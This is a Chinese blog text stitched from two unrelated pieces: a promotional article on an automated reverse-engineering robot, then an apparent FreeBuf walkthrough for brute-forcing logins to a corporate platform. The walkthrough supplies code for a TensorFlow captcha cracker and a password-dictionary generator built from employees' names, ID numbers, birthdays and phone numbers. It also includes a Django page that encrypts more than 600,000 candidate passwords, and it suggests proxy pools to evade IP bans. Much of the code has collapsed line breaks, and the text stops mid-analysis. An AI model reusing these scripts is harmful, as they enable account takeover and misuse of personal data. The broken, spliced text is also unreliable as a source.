通过逆向,你就能弄明白:当你点了一下鼠标,你的照片是如何一步步显示在屏幕上的,脸上的青春痘是如何一步步被消除的;当你输入支付密码,你的验证码是如何一步步验证的,你的转账记录是如何一步步生成的;运行一个网上下载的“是男人就下一百层”游戏,背后是如何偷偷的盗取你的聊天记录和网游账号的……

现在逆向都是怎么做?

很不幸,大部分还处于比较原始的状态,除了少数通用工具(IDA、Ollydbg等等),绝大部分工作都需要人来操作。对于刚入门的同学,人工逆向打怪升级还有些成就感,“读了这些文件”,“发了这些数据”,“哦,原来是这么回事”,“MD,它竟然敢这么做”,“哈,终于绕过了这些限制”。但随着时间的推移和技能的提升,逆向工作就成了纯粹的体力劳动,每天只能反反复复的运行程序、设置断点、获取接口数据、修改数据、写分析记录,大量的时间耗费在这些繁文缛节里。

为什么要提自动化逆向,难度如何?

目前的主要矛盾:需要分析的对象数量越来越多、规模也越来越复杂,但分析人员人数有限,还经常出状况(比如高级分析人员的能力无法赋能给初级分析人员,人员流动导致的能力衔接不够,人工分析的准确性无法得到保证)。能不能把重复的人工分析任务完全由自动化的工具来做?答案是肯定的。

一定有些专业人士来挑战:不是有个叫做“脚本”的玩意儿么,你把常用的操作,写个脚本不就完了,或者开发个分析平台啥的,不难。

下面来个类比:

  • 开车作为一个现代人的基本技能,不算难,当然也要花1、2个月在驾校学习和考试上。目前我国的驾驶员有3亿。如果人工驾驶,改成自动驾驶,是不是难度陡然提升?现在还没有几家敢说自己达到Level4和Level5的自动驾驶吧?
  • 围棋,规则普通人一天差不多就能学会。但如果让超级电脑按照这个规则和人对弈,战胜人类冠军,哪怕计算力超强,也是很困难的事情,否则为什么阿尔法狗那么出名?因为难呐。

又有一些专业人士会反驳:胡说,那些杀毒软件厂商,每天查杀数亿样本,肯定是自动化实现的。我只能说,这个反驳有一定的专业度,但只看到了表象。每个杀毒软件厂商都有一个很大的运营团队(通常数百到上千人),用于人工分析自动化初筛后的样本。他们的自动化水平和能力,相当于天上的卫星,能看到地上奔跑的羚羊,仅此而已。而我们能做到什么程度?我们能看到羚羊身上的每个细胞。

阿里的自动化逆向机器人达到什么程度?

我们将安全从业人员逆向工作的大部分能力完全自动化,创立了自动化逆向机器人TimePlayer。相关的能力么?世界领先,甚至可以说是世界第一,不服来战嘛。

TimePlayer使用的相关的技术非常晦涩难懂,这里就不展开了。下面形象地说一下这个机器人的能力:

  • 摄像机:如果要分析一个程序,只需要在TimePlayer里运行一次就可以了,TimePlayer会把该程序所有的行为全部忠实的记录下来,不会遗漏任何的细节
  • 播放机:之前拍摄的内容,可以向前放、向后放、快放、慢放、放大任意处的细节、追踪任意的目标。要注意,这个播放时的结果要和摄像时一模一样,这是很有难度的。
  • 显微镜:程序的行为,要做到指令级别的粒度,所有的一切都要能观察到,包括每个指令是什么,寄存器状态,访问的内存内容,等等。打开一个App,通常几十亿条指令就执行完了,上面的内容统统不能遗漏。

大家可以把这个机器人类比成医学界的达芬奇机器人,配合技术高超的医生,能够实现许多很多专家都做不到的事情:

  • 前一阵大家都听说过WannaCry勒索病毒,很多用户重要数据被这种恶意软件加密了。如果要恢复这些数据,需要勒索者提供一个叫做“私钥”的东西,这个“私钥”数据量很小,其实是在受害者机器上生成的。由于勒索软件刻意的删除了本机的“私钥”,理论上只能掏钱向勒索者获取。虽然很多安全厂商做了各种分析,貌似很彻底,但都没有我们的独家发现:这个“私钥”实际上在用户态和内核态均有残留,且相较于暴力搜索用户态内存方法,精准的内核态残留提取更为稳定。
  • 安全人员工作中经常需要逆向一些网络协议或者文件格式,举个例子,只有逆向doc超级复杂的文件格式以及Word对其的解析过程,WPS才能打开doc文档并对其进行处理。现在,只需要把doc文档放到TimePlayer上打开,就能自动化的对doc文件格式进行分析。以前数人多年的分析工作,现在几天时间就能搞定,还不需要人的参与。
  • 攻防是个对抗的过程。为了对抗人工逆向,防护人员开发了各种各样的工具和产品提升逆向难度,其中最有名的叫做“虚拟机壳”。这种壳本质上就是一个超级复杂的迷魂阵,让逆向者不停的打转,耗费他们的时间和精力。一般只有特别资深的专业人士,经过一定时间的积累,才能搞定这种复杂的对象。TimePlayer利用了独特的技术,可以很轻松地化解这些迷魂阵,让最初级的分析人员也能很快的了解程序的算法细节,甚至都不需要了解,拿来使用即可。“虚拟机壳”这种纯工程化的障眼法,如果不结合一些理论上的难题,未来的天花板会很低。

以上的内容还只是TimePlayer能力的牛刀小试,更进阶的功能由于保密的原因还不能分享,我们会在适当时机进行发布。

另外,说一下对未来攻防形式的方向性看法。随着社会生活全面互联网甚至物联网化,需要分析的对象,无论是种类还是数量都呈现爆发性增长,指望有限的分析人员来覆盖这些对象是不现实的,人海战术将不能满足要求,自动化、规模化是大势所趋,也是能力能够沉淀的必经之路。

*本文原创作者:shystartree,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、背景

一直想对本人公司所在的某管理平台(下文简称为A平台)进行一下弱口令检测,但是该平台做了设置验证码(做了一定的干扰效果)和密码加密等防御措施而无法使用一些常规的爆破工具进行攻击。本文将结合在检测过程中遇到的问题一步步地讲解如何突破障碍达到检测的目的,各位读者可以举一反三进行其他系统的爆破测试。

二、寻找一个简单的爆破点

A平台算是公司内部的一个通用平台,所以其的账号密码也能在其他系统上登录,但是这些系统多多少少都做了一定的防御,基本都具有密码次数过多封ip、验证码、密码字段加密、请求间隔时间检测等的爆破防御,故本文选择了一个仅仅拥有密码字段加密和设置验证码(验证码干扰量最少)的A平台,如果读者非不得已要突破密码次数过多封ip的防御,可以在本文的基础上加入代理池,如何筛选出有效的代理池还请自行研究。

下面是A平台的post数据:

__RequestVerificationToken=RpPpYuKWa6ZLB9nhRI3nod04bal0nr9NCFktqA4uFCvVNI4ui10CLOf1oFFJBg2zh7QRIbB_CZziFYSBE7_mNuqr1N0l5LWu_r-oZSEWN501&
UserId=002333&Password=uUNw1CgwVsOzE8fZBUUpvWaNGRyqVEeILR%2F2uepQA2tp2aRPHbJf5uj%2FF%2Bppp%2B8LTluHrcKPTSlSxvGQ0JTEBj%2FI8iNKO74a5PcdOgSM76I1o81zYP%2BWIdwEUuB78ISpJKzN1HemvYTlrOiWgZ93UjBV2tBtok6LniWcobQj5kE%3D&ValidateCode=1111&rememberMe=true&loginType=CA&CAPassword=

可以见到A平台的密码字段Password是经过前端加密了,可想而知要爆破这个系统,验证码识别和如何生成这个密文是重点突破点。

三、对验证码的机器识别

一开始,本文使用python的pytesseract进行了对A平台的验证码进行测试,删除了干扰线和灰化后,依然无法对该验证码图片正确识别,其原因是验证码的字体稍微做了变形。

def initTable(threshold=80):           # 二值化函数
    table = []    for i in range(256):        if i < threshold:
            table.append(0)        else:
            table.append(1)    return table
im = Image.open('valcode.png')
im = im.convert('L')  # 彩色图像转化为灰度图binaryImage = im.point(initTable(), '1') #删除干扰线

图为处理完的验证码: 
其实经过处理后这个验证码看起来已经是很好识别了,不料pytesseract还是无法全部识别成功,如读者还有其他方法能把该图片处理到让pytesseract识别的程度欢迎留言交流。

很早就听过tensorflow这个框架,这个框架是目前最流行的深度学习框架,我们可以用它来搭建自己的卷积神经网络并训练自己的分类器,接下来,本文将简要地描述下训练分类器和使用生成好的模型进行识别验证码:

3.1 收集图片并设置标签

为了训练分类器模型,需要从服务器取得一定量的训练图片,本文写了一个脚本从服务器取了200张图片,并花了一个多小时对这些图片进行了码标签(重命名图片文件)。

def download_captcha(num):  
    binaryImage.crop(region)
    for i in range(num):
        bi = get_captcha()  #从服务器获取这个验证码
        captcha = pytesseract.image_to_string(bi) #可以识别出部分字符,码的时候可以减少工作量
        bi.save("pic/%s.png" %captcha)

最终码完标签的结果大概是这样: 

3.2 训练分类模型

本文主要搬运tensorflow_cnn这里的代码,由于该代码中所使用图片大小为60*160,而原始下载保存好的图片大小为27*88,构建CNN的参数无法适用,为了省心省力,故在生成图片的时候直接把图片调整为60*160。

#放大图片到60*160,方便训练模型
class image_aspect():
    def __init__(self, image_file, aspect_width, aspect_height):
        self.img = Image.open(image_file)
        self.aspect_width = aspect_width
        self.aspect_height = aspect_height
        self.result_image = None
    def change_aspect_rate(self):
        img_width = self.img.size[0]
        img_height = self.img.size[1]        if (img_width / img_height) > (self.aspect_width / self.aspect_height):
            rate = self.aspect_width / img_width        else:
            rate = self.aspect_height / img_height
        rate = round(rate, 1)
        self.img = self.img.resize((int(img_width * rate), int(img_height * rate)))
        return self
    def past_background(self):
        self.result_image = Image.new("RGB", [self.aspect_width, self.aspect_height], (0, 0, 0, 255))
        self.result_image.paste(self.img, (int((self.aspect_width - self.img.size[0]) / 2), int((self.aspect_height - self.img.size[1]) / 2)))
        return self
    def save_result(self, file_name):
        self.result_image.save(file_name)        
image_aspect("valcode.png", 160, 60).change_aspect_rate().past_background().save_result("valcode.png")

训练模型:

#coding:utf-8import numpy as npimport tensorflow as tffrom PIL import Image
IMAGE_HEIGHT = 60IMAGE_WIDTH = 160MAX_CAPTCHA = 4number = ['0','1','2','3','4','5','6','7','8','9']
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
ALPHABET = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']def get_image_info():
    import os,random
    all_image = os.listdir("pic")
    all_image.remove(".DS_Store")
    random_file = random.randint(0,200)
    base = os.path.basename("pic/" + all_image[random_file])
    name = os.path.splitext(base)[0]
    im = Image.open('pic/' + all_image[random_file])
    im = np.array(im)    return name,im# 文本转向量char_set = number + ALPHABET + ['_']  # 如果验证码长度小于4, '_'用来补齐CHAR_SET_LEN = len(char_set)def text2vec(text):
    text_len = len(text)    if text_len > MAX_CAPTCHA:        print text        raise ValueError('验证码最长4个字符')
    vector = np.zeros(MAX_CAPTCHA*CHAR_SET_LEN)    def char2pos(c):
        if c =='_':
            k = 62
            return k
        k = ord(c)-48
        if k > 9:
            k = ord(c) - 55
            if k > 35:
                k = ord(c) - 61
                if k > 61:                    raise ValueError('No Map')        return k    for i, c in enumerate(text):
        idx = i * CHAR_SET_LEN + char2pos(c)
        vector[idx] = 1
    return vector# 向量转回文本def vec2text(vec):
    char_pos = vec.nonzero()[0]
    text=[]    for i, c in enumerate(char_pos):
        char_at_pos = i #c/63
        char_idx = c % CHAR_SET_LEN        if char_idx < 10:
            char_code = char_idx + ord('0')        elif char_idx < 36:
            char_code = char_idx - 10 + ord('A')        elif char_idx < 62:
            char_code = char_idx-  36 + ord('a')        elif char_idx == 62:
            char_code = ord('_')        else:            raise ValueError('error')
        text.append(chr(char_code))    return "".join(text)def convert2gray(img):
    if len(img.shape) > 2:
        gray = np.mean(img, -1)        # 上面的转法较快,正规转法如下
        # r, g, b = img[:,:,0], img[:,:,1], img[:,:,2]
        # gray = 0.2989 * r + 0.5870 * g + 0.1140 * b
        return gray    else:        return img    """
    cnn在图像大小是2的倍数时性能最高, 如果你用的图像大小不是2的倍数,可以在图像边缘补无用像素。
    np.pad(image【,((2,3),(2,2)), 'constant', constant_values=(255,))  # 在图像上补2行,下补3行,左补2行,右补2行
    """# 生成一个训练batchdef get_next_batch(batch_size=128):
    batch_x = np.zeros([batch_size, IMAGE_HEIGHT * IMAGE_WIDTH])
    batch_y = np.zeros([batch_size, MAX_CAPTCHA * CHAR_SET_LEN])    # 有时生成图像大小不是(60, 160, 3) 彩图才是3
    def wrap_gen_captcha_text_and_image():
        while True:
            text, image = get_image_info()            if image.shape == (60, 160, 3):                return text, image    for i in range(batch_size):
        text, image = wrap_gen_captcha_text_and_image()
        image = convert2gray(image)
        batch_x[i, :] = image.flatten() / 255  # (image.flatten()-128)/128  mean为0
        batch_y[i, :] = text2vec(text)    return batch_x, batch_y# 申请占位符 按照图片X = tf.placeholder(tf.float32, [None, IMAGE_HEIGHT*IMAGE_WIDTH])
Y = tf.placeholder(tf.float32, [None, MAX_CAPTCHA*CHAR_SET_LEN])
keep_prob = tf.placeholder(tf.float32) # dropoutdef crack_captcha_cnn(w_alpha=0.01, b_alpha=0.1):
    x = tf.reshape(X, shape=[-1, IMAGE_HEIGHT, IMAGE_WIDTH, 1])    # w_c1_alpha = np.sqrt(2.0/(IMAGE_HEIGHT*IMAGE_WIDTH)) #
    # w_c2_alpha = np.sqrt(2.0/(3*3*32))
    # w_c3_alpha = np.sqrt(2.0/(3*3*64))
    # w_d1_alpha = np.sqrt(2.0/(8*32*64))
    # out_alpha = np.sqrt(2.0/1024)
    # 3 conv layer
    w_c1 = tf.Variable(w_alpha * tf.random_normal([3, 3, 1, 32]))
    b_c1 = tf.Variable(b_alpha * tf.random_normal([32]))
    conv1 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(x, w_c1, strides=[1, 1, 1, 1], padding='SAME'), b_c1))
    conv1 = tf.nn.max_pool(conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
    conv1 = tf.nn.dropout(conv1, keep_prob)
    w_c2 = tf.Variable(w_alpha * tf.random_normal([3, 3, 32, 64]))
    b_c2 = tf.Variable(b_alpha * tf.random_normal([64]))
    conv2 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv1, w_c2, strides=[1, 1, 1, 1], padding='SAME'), b_c2))
    conv2 = tf.nn.max_pool(conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
    conv2 = tf.nn.dropout(conv2, keep_prob)
    w_c3 = tf.Variable(w_alpha * tf.random_normal([3, 3, 64, 64]))
    b_c3 = tf.Variable(b_alpha * tf.random_normal([64]))
    conv3 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv2, w_c3, strides=[1, 1, 1, 1], padding='SAME'), b_c3))
    conv3 = tf.nn.max_pool(conv3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
    conv3 = tf.nn.dropout(conv3, keep_prob)    # Fully connected layer
    w_d = tf.Variable(w_alpha * tf.random_normal([8 * 20 * 64, 1024]))
    b_d = tf.Variable(b_alpha * tf.random_normal([1024]))
    dense = tf.reshape(conv3, [-1, w_d.get_shape().as_list()[0]])
    dense = tf.nn.relu(tf.add(tf.matmul(dense, w_d), b_d))
    dense = tf.nn.dropout(dense, keep_prob)
    w_out = tf.Variable(w_alpha * tf.random_normal([1024, MAX_CAPTCHA * CHAR_SET_LEN]))
    b_out = tf.Variable(b_alpha * tf.random_normal([MAX_CAPTCHA * CHAR_SET_LEN]))
    out = tf.add(tf.matmul(dense, w_out), b_out)    return out# 训练def train_crack_captcha_cnn():
    output = crack_captcha_cnn()    #loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(output, Y))
    loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=output, labels=Y))        # 最后一层用来分类的softmax和sigmoid有什么不同?
    # optimizer 为了加快训练 learning_rate应该开始大,然后慢慢衰
    optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)
    predict = tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN])
    max_idx_p = tf.argmax(predict, 2)
    max_idx_l = tf.argmax(tf.reshape(Y, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)
    correct_pred = tf.equal(max_idx_p, max_idx_l)
    accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))
    saver = tf.train.Saver()    with tf.Session() as sess:
        sess.run(tf.global_variables_initializer())
        step = 0
        while True:
            batch_x, batch_y = get_next_batch(13)
            _, loss_ = sess.run([optimizer, loss], feed_dict={X: batch_x, Y: batch_y, keep_prob: 0.66})
            print(step, loss_)            # 每100 step计算一次准确率
            if step % 100 == 0:
                batch_x_test, batch_y_test = get_next_batch(33)
                acc = sess.run(accuracy, feed_dict={X: batch_x_test, Y: batch_y_test, keep_prob: 1.})
                print("setp、accuracy:",step, acc)                # 如果准确率大于99%,保存模型,完成训练
                if acc > 0.99:
                    saver.save(sess, "crack_capcha.model", global_step=step)                    break
            step += 1if __name__ == "__main__":
    train_crack_captcha_cnn()

运行该脚本,当训练的准确率大于99%的时候就会在运行的目录下就会保存crack_capcha.model-1300.data-00000-of-00001、crack_capcha.model-1300.index、crack_capcha.model-1300.meta这三个文件,本文的机器大概运行了一个半小时。

3.3 使用模型

def crack_captcha(output,captcha_image):
    saver = tf.train.Saver()
    with tf.Session() as sess:
        saver.restore(sess, tf.train.latest_checkpoint('.'))
        predict = tf.argmax(tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)
        text_list = sess.run(predict, feed_dict={X: [captcha_image], keep_prob: 1})
        text = text_list[0].tolist()
        vector = np.zeros(MAX_CAPTCHA*CHAR_SET_LEN)
        i = 0
        for n in text:
            vector[i*CHAR_SET_LEN + n] = 1
            i += 1
        predict_text = vec2text(vector)
        return predict_text

经过测试,该模型对于A平台的验证码识别效率还算不错,平均10次只有1、2次识别错误。 
好了,现在第一个难点验证码识别已经解决了,接下来将讲解如何生成密码密文实现自动化爆破。

四、生成靠谱的弱口令字典

这步应该是这次爆破的关键,能否最终爆破出正确的密码也是看字典的质量。除了检测一些常见的弱口令(top100)外,还应该根据姓名、出生年月、手机号生成一系列的社工字典。 于是,本文首先整理一份包含所有员工的姓名、身份证号、手机号、邮箱的excel文档。 首先处理每个员工的信息,关于如何处理信息,本文的做法是: 

若姓名为凌星星的人,将返回lxx、Lxx、Lin、LIN、linxinxin; 

若公司为freebuf,将返回freebuf、fb 

若手机号为10000000086,将返回10000000086、0086; 

从身份证号提取出出生年月,若出生年月为19921228,将返回19921228 9921228 1228;

    # 获取常见的生日后缀
    # 若对应 19921228 输出 19921228 9921228 1228
    def getbrithlist(self,index):
        if self.birthlist:
            birth = self.birthlist[index].strip()        else:            return []        if len(birth) > 4:            return [birth,birth[2:],birth[4:],birth[:4]]        else:            return []            
    #获取手机号后四位
    def getphonelist(self,index):
        try:
            phone = self.phonelist[index]
            p_phone = re.compile(r'(13[0-9]\d{8}|14[0-9]\d{8}|15[0-9]\d{8}|18[0-9]\d{8})')
            phone = p_phone.findall(phone)[0].strip()            return [phone,phone[-4:]]        except Exception:            return []
            
    pinyin_list=['administrator','admin','test','a', 'ai', 'an', 'ang', 'ao', 'ba', 'bai', 'ban', 'bang', 'bao', 'bei', 'ben', 'beng', 'bi', 'bian', 'biao', 'bie', 'bin', 'bing', 'bo', 'bu', 'ca', 'cai', 'can', 'cang', 'cao', 'ce', 'cen', 'ceng', 'cha', 'chai', 'chan', 'chang', 'chao', 'che', 'chen', 'cheng', 'chi', 'chong', 'chou', 'chu', 'chuai', 'chuan', 'chuang', 'chui', 'chun', 'chuo', 'ci', 'cong', 'cou', 'cu', 'cuan', 'cui', 'cun', 'cuo', 'da', 'dai', 'dan', 'dang', 'dao', 'de', 'dei', 'deng', 'di', 'dian', 'diao', 'die', 'ding', 'diu', 'dong', 'dou', 'du', 'duan', 'dui', 'dun', 'duo', 'e', 'en', 'er', 'fa', 'fan', 'fang', 'fei', 'fen', 'feng', 'fo', 'fou', 'fu', 'ga', 'gai', 'gan', 'gang', 'gao', 'ge', 'gei', 'gen', 'geng', 'gong', 'gou', 'gu', 'gua', 'guai', 'guan', 'guang', 'gui', 'gun', 'guo', 'ha', 'hai', 'han', 'hang', 'hao', 'he', 'hei', 'hen', 'heng', 'hong', 'hou', 'hu', 'hua', 'huai', 'huan', 'huang', 'hui', 'hun', 'huo', 'ji', 'jia', 'jian', 'jiang', 'jiao', 'jie', 'jin', 'jing', 'jiong', 'jiu', 'ju', 'juan', 'jue', 'jun', 'ka', 'kai', 'kan', 'kang', 'kao', 'ke', 'ken', 'keng', 'kong', 'kou', 'ku', 'kua', 'kuai', 'kuan', 'kuang', 'kui', 'kun', 'kuo', 'la', 'lai', 'lan', 'lang', 'lao', 'le', 'lei', 'leng', 'li', 'lia', 'lian', 'liang', 'liao', 'lie', 'lin', 'ling', 'liu', 'long', 'lou', 'lu', 'luu', 'luan', 'luue', 'lun', 'luo', 'ma', 'mai', 'man', 'mang', 'mao', 'me', 'mei', 'men', 'meng', 'mi', 'mian', 'miao', 'mie', 'min', 'ming', 'miu', 'mo', 'mou', 'mu', 'na', 'nai', 'nan', 'nang', 'nao', 'ne', 'nei', 'nen', 'neng', 'ni', 'nian', 'niang', 'niao', 'nie', 'nin', 'ning', 'niu', 'nong', 'nu', 'nuu', 'nuan', 'nuue', 'nuo', 'o', 'ou', 'pa', 'pai', 'pan', 'pang', 'pao', 'pei', 'pen', 'peng', 'pi', 'pian', 'piao', 'pie', 'pin', 'ping', 'po', 'pou', 'pu', 'qi', 'qia', 'qian', 'qiang', 'qiao', 'qie', 'qin', 'qing', 'qiong', 'qiu', 'qu', 'quan', 'que', 'qun', 'ran', 'rang', 'rao', 're', 'ren', 'reng', 'ri', 'rong', 'rou', 'ru', 'ruan', 'rui', 'run', 'ruo', 'sa', 'sai', 'san', 'sang', 'sao', 'se', 'sen', 'seng', 'sha', 'shai', 'shan', 'shang', 'shao', 'she', 'shei', 'shen', 'sheng', 'shi', 'shou', 'shu', 'shua', 'shuai', 'shuan', 'shuang', 'shui', 'shun', 'shuo', 'si', 'song', 'sou', 'su', 'suan', 'sui', 'sun', 'suo', 'ta', 'tai', 'tan', 'tang', 'tao', 'te', 'teng', 'ti', 'tian', 'tiao', 'tie', 'ting', 'tong', 'tou', 'tu', 'tuan', 'tui', 'tun', 'tuo', 'wa', 'wai', 'wan', 'wang', 'wei', 'wen', 'weng', 'wo', 'wu', 'xi', 'xia', 'xian', 'xiang', 'xiao', 'xie', 'xin', 'xing', 'xiong', 'xiu', 'xu', 'xuan', 'xue', 'xun', 'ya', 'yai', 'yan', 'yang', 'yao', 'ye', 'yi', 'yin', 'ying', 'yong', 'you', 'yu', 'yuan', 'yue', 'yun', 'za', 'zai', 'zan', 'zang', 'zao', 'ze', 'zei', 'zen', 'zeng', 'zha', 'zhai', 'zhan', 'zhang', 'zhao', 'zhe', 'zhei', 'zhen', 'zheng', 'zhi', 'zhong', 'zhou', 'zhu', 'zhua', 'zhuai', 'zhuan', 'zhuang', 'zhui', 'zhun', 'zhuo', 'zi', 'zong', 'zou', 'zu', 'zuan', 'zui', 'zun', 'zuo']
    saveData(pinyin_list,'./pinyin.txt')
    
    jieba.load_userdict('./pinyin.txt')    # 输入中文或者英文名,输出拼音
    def getPinyin(self,name):
        if name.isalpha():
            name = name.lower()
            py_list = [str(x) for x in jieba.cut(name)]        else:
            name = name.decode('utf-8')
            py_list = [str(x) for x in pinyin.get(name, format="strip", delimiter="-").split("-")]        return py_list    #字典中常见姓名拼音的组合:lxx、Lxx、LIN、lin、Lin
    def getpylist(self,str):
        pylist = []
        pinyin = self.getPinyin(str)
        pystr = "".join(pinyin)
        pylen = len(pystr)        if pylen <= 6:
            pylist.append(pystr)        if len(pinyin) == 3:
            pylist.append(pinyin[1] + pinyin[2])        elif len(pinyin) > 3:
            pylist.append(pinyin[0]+pinyin[1])
            pinyin[0] = pinyin[0]+pinyin[1]        elif len(pinyin) < 2:            return [pystr]
        flitter_lower = "".join(self.getFlitter(str))  # lxx
        flitter_upper = flitter_lower[0:1].upper() + flitter_lower[1:]  # Lxx
        fpiny = pinyin[0]   #lin
        upiny = pinyin[0].upper() #LIN
        flupiny = pinyin[0][0:1].upper()+pinyin[0][1:]  #Lin
        tmplist = [flitter_lower,flitter_upper,fpiny,upiny,flupiny]
        pylist[pylen:pylen] = tmplist        if pystr == self.company:            return [pystr,flitter_lower,flitter_upper]        else:            return pylist

然后根据处理后的信息生成对应的弱口令,本文生成的社工弱口令字典主要包含三种:字母(姓名、公司名等)+ 特殊字符(@、#、_、-等)+ 数字(手机号、出生日期、常见的连续数字、年份等)、 字母(姓名、公司名等)+ 数字(手机号、出生日期、常见的连续数字、年份等) + 特殊字符(@、#、_等)、字母(姓名、公司名等)+ 数字(手机号、出生日期、常见的连续数字、年份等)。考虑到正常人的习惯,一般人很少把数字和特殊字符作为开头,故去掉数字和特殊字符开头的。

  def generatePw(self,str_list, num_list, sig_list, base, level=2, mfilter=True):
        weak_list = []
        for k, v in base.items():
            for i in v:
                if len(str(i)) >= 6:
                    weak_list.append(i)
        # 字母+数字
        for i in itertools.product(str_list, num_list):
            for j in itertools.product(base[i[0]], base[i[1]]):
                for h in itertools.permutations(j):
                    if (mfilter):
                        if str(h[0]).isdigit():  # 去掉数字开头的密码
                            continue
                    name_num = str(h[0]) + str(h[1])
                    weak_list.append(name_num)
        # 字母+数字+特殊字符/字母+特殊字符+数字
        if (level > 1):
            for i in itertools.product(str_list, num_list, sig_list):
                for j in itertools.product(base[i[0]], base[i[1]], base[i[2]]):
                    for h in itertools.permutations(j):
                        if (mfilter):
                            if (str(h[0]).isdigit() and str(h[1]).isalpha()):  # 去掉数字+字母开头
                                continue
                            elif (str(h[0]) in self.sign) or (str(h[0]).isdigit()):  # 去掉特殊字符、数字开头
                                continue
                        name_num = str(h[0]) + str(h[1]) + str(h[2])
                        weak_list.append(name_num)
        return weak_list

最后加上top100的弱口令,每个员工生成对应的弱口令达3000个。 
图为生成字典的结果: 

五、对加密字段的探索

分析前端的登录界面,最终找到该密码字段的加密方式,可以见到该字段是经过js rsa加密的。 
怎么找到该公钥的呢,很简单,打开chrome的控制台,直接输入login.pubkey即可。

其实,要破解这种加密方式,无非是就是三种方法:

理清js中的加密过程,使用编程语言进行复现

使用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作(Node.js,按键精灵,QTP 工具等也可以)

建一个小型的web服务器,利用浏览器页面将js运行起来,把加密后的密文发给本地服务器

本文先尝试寻找一种后台加密的算法: 

1、尝试复现该js rsa加密算法:

def RSA_encode(pubkey,password):
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_v1_5
    import base64
    rsakey = RSA.importKey(pubkey)
    cipher = PKCS1_v1_5.new(rsakey)
    cipher_text = base64.b64encode(cipher.encrypt(password))
    print cipher_text
pubkey = '''-----BEGIN PUBLIC KEY-----
    nIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCp0wHYbg/NOPO3nzMD3dndwS0MccuMeXCHgVlGOoYyFwLdS24Im2e0YyhB0wrUsyYf0/nhzCzBK8ZC9eCWqd0aHbdgOQo6CuFQBMjbyGYvlVYU2ZP7kG9Ft6YV6oc9ambuO7nPZh+bvpH0zDKfi02prknrScApC0XhadTHT3Al0QIDAQAB
    -----END PUBLIC KEY-----'''
RSA_encode(pubkey,"123456")

但是通过该加密后的密文在A平台无法通过验证,服务器返回的是System.Security.Cryptography.CryptographicException的不正确数据异常。

2、使用pyv8执行js得到密文 

提取使用加密算法的文件保存为jsencrypt.min.js,然后使用pyv8在python中执行这段js:

    from pyv8 import PyV8
    ctxt = PyV8.JSContext()
    ctxt.enter()
    with open('jsencrypt.min.js') as f:
        jsdata = f.read()
        print ctxt.eval(jsdata)

执行上述这段代码,结果抛出pyv8.PyV8.JSError: JSError: ReferenceError: navigator is not defined异常。估计是无法加载dom,于是本文把dom.js和jsencrypt.min.js结合为一个文件同时加载,结果还是各种异常。

使用selenium的话,本文觉得比较笨重,故没考虑此法。 于是本文使用Django搭建一个小型服务器来生成密文字典: 

view.py:

def encode_passrequest):
    with open("genPw/weakpass.txt") as f:
        passlist = f.readlines()
    return render(request, "layout.html",{'passlist':json.dumps(passlist)})
    
def get_enpass(request):
    enpass = request.GET['enpass']
    if " >>>>>> " in enpass:
        with open("encode.txt","a+") as f:
            f.write(enpass + "\n")
    return HttpResponse('')

layout.html:

{% load staticfiles %}
lt;html><head>
    <title>test</title>
    <script src="{% static 'jsencrypt.min.js' %}"></script>
    <script src="{% static 'jquery.min.js' %}"></script>
    <script type="text/javascript">
        var publicKey = "nIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCp0wHYbg/NOPO3nzMD3dndwS0MccuMeXCHgVlGOoYyFwLdS24Im2e0YyhB0wrUsyYf0/nhzCzBK8ZC9eCWqd0aHbdgOQo6CuFQBMjbyGYvlVYU2ZP7kG9Ft6YV6oc9ambuO7nPZh+bvpH0zDKfi02prknrScApC0XhadTHT3Al0QIDAQAB";
        var encrypt = new JSEncrypt();
        encrypt.setPublicKey(publicKey);
        var passlist = new Array();
        passlist =  {{ passlist|safe  }};
        for(i in passlist){
            var arr = new Array();
            arr = passlist[i].split(" >>>>>> ")
            var loginid = arr[0];
            var passtxt = arr[1].replace(/[\r\n]/g,"");
            var en_passtxt = encrypt.encrypt(passtxt);
            save_data = loginid + " >>>>>> " + en_passtxt + " >>>>>> " + passtxt
            console.log(save_data);
            $.get("/getpass/",{enpass:save_data});
        }
        console.log(passlist.length)
    </script></head>
</html>

由于弱口令有60多万行,而浏览器执行的时间也不能持久,总是在执行一半的时候浏览器就显示崩溃,不知读者有什么办法让浏览器能够持久等待操作量较大的js执行完成,欢迎留言交流。 

本文对这60多万行的文件分割成5份,依次执行这段js,得到一个120MB大小的密文字典。 图为生成密文后的结果: 

六、愉快地进行爆破

A平台的两大难点都被解决,接下来,就可以编写代码进行自动化爆破了。

1 分析登录过程

A平台的登录过程很简单,通过burpsuite的抓包,每次登录大概就是两个数据包,第一个数据包先生成验证码,第二个数据包是提交登录的post数据,所以就模拟这两步操作就行了。 
而这两个数据包中的验证码是根据cookie来关联的,cookie大概长这样 
Cookie: UM_distinctid=1621eb9934f296-0f74fe8371ca48-32657b04-13c680-1621eb993521bb; ASP.NET_SessionId=ctmbshfmeefqceu0xzlyl00p; __RequestVerificationToken=iro_srRkgpI8lmqajlJCLCDRKY1_0KkPPmYggezXXCoiXAWPl-4vZiA3jIlpY9Ib6M2xI56r_MPEGt1ZILQdaqNiwHwW-NTW-nGUALwV_BQ1    
也就是说,在新建一个会话请求生成验证码的时候,服务器会生成一个这样的cookie,而然后登录请求的post也会根据这个cookie来判断验证码是否生成过。 
